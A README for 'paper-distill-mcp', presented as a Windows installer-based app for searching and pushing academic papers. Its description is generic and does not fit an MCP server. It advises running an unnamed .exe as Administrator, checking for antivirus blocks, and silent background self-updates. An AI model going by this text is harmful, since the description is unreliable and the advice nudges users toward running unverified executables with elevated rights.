📄 paper-distill-mcp - Easy Academic Paper Search Server

🚀 What is paper-distill-mcp?

paper-distill-mcp is a simple program to help you find, organize, and push academic papers across different platforms. It runs on your Windows computer and works without needing technical skills. Use it to quickly search for papers, save your favorites, and send them to your devices or apps.

🖥️ System Requirements

Before you download, make sure your computer meets these basic requirements:

• Windows 10 or newer
• At least 4 GB of RAM
• 500 MB of free disk space
• Internet connection (to search and download papers)
• A web browser (like Edge, Chrome, or Firefox)

🔍 Key Features

• Search academic papers using simple keywords
• Save and organize papers you want to read later
• Push papers to your email, cloud drive, or reading apps
• Clean and easy user interface designed for all users
• Updates itself automatically to stay current

⬇️ How to Download and Install paper-distill-mcp

Use the following link to get the software. It will take you to the page where you can download the latest version.

Download paper-distill-mcp

Step 1: Visit the Download Page

Click the link above or this button at the top to open the GitHub page in your web browser.

Step 2: Find the Latest Release

Once on the page, look for a section called Releases or Latest Release. This is where the files are stored.

Step 3: Choose the Windows Version

Look for a file named similar to paper-distill-mcp-setup.exe or paper-distill-mcp-windows.exe. This is the installer for your Windows computer.

Step 4: Download the Installer

Click on the file name to start downloading. The file size should be less than 50 MB. Wait for the download to finish.

Step 5: Run the Installer

• Find the downloaded file in your Downloads folder.
• Double-click the file to open it.
• Follow the simple on-screen instructions to install paper-distill-mcp.

Step 6: Finish and Open the Application

• When the installation is complete, click Finish.
• The app should open automatically. If not, find it in your Start menu and open it from there.

🎯 How to Use paper-distill-mcp

Search for Papers

• Type a topic or keyword in the search box.
• Click Search.
• A list of papers matching your search will appear.

Save Papers

• Click the Save button next to any paper you want to keep.
• Saved papers show up in your Library for easy access later.

Push Papers

• Select papers you want to send to another platform.
• Choose where to send: email, cloud storage, or reading app.
• Click Send and wait for confirmation.

⚙️ Settings and Options

You can customize some settings to improve your experience:

• Default search filter: Choose paper type or date range.
• Push settings: Add your email address or cloud account details.
• Notifications: Turn on or off alerts when new papers match your saved searches.
• Language: Select your preferred language for the user interface.

Open the settings by clicking the gear icon in the top-right corner.

🛠 Troubleshooting Tips

If you have trouble installing or running paper-distill-mcp, check these points:

• Make sure your Windows is up to date.
• Run the installer as Administrator (right-click the file and select Run as administrator).
• Check if your antivirus software is blocking the installer or app.
• Restart your computer and try again.

If the app opens but does not work as expected:

• Check your internet connection.
• Make sure you have entered your push settings correctly.
• Restart the app and try again.

📞 Getting Help

This repository has a section called Issues on GitHub. You can read about common problems there or ask questions. To use this, you will need a free GitHub account.

Link to the support page: GitHub Issues for paper-distill-mcp

🌟 Updates and New Versions

paper-distill-mcp automatically checks for updates when you open it. It will download and install new versions in the background. To make sure you have the latest features and fixes, keep your computer connected to the internet.

You can also visit the download page directly to check for new versions:

Download paper-distill-mcp

🔒 Privacy and Data Use

paper-distill-mcp uses your internet connection only to search for academic papers and send saved papers to your chosen services. It does not share your personal data with third parties. Your saved library stays on your computer unless you choose to push it elsewhere.

📱 Multi-Platform Support

Besides Windows, paper-distill-mcp can connect with popular reading apps and cloud services. This lets you push papers to your mobile phone or tablet.

Supported services include:

• Email (any provider)
• Dropbox and Google Drive
• Pocket and Read-it-Later apps

🖱 Starting paper-distill-mcp Automatically

If you want paper-distill-mcp to start when your computer turns on:

• Right-click the app icon on your desktop or Start menu.
• Select Pin to Start or Pin to Taskbar for quick access.
• Use the Windows Startup folder to add a shortcut for automatic start.

To open the Startup folder:

1. Press Win + R keys.
2. Type shell:startup and press Enter.
3. Copy a shortcut of paper-distill-mcp into this folder.

📚 Additional Tips

• Use simple keywords for better search results.
• Organize saved papers into folders in your library.
• Schedule regular pushes to stay updated on important research.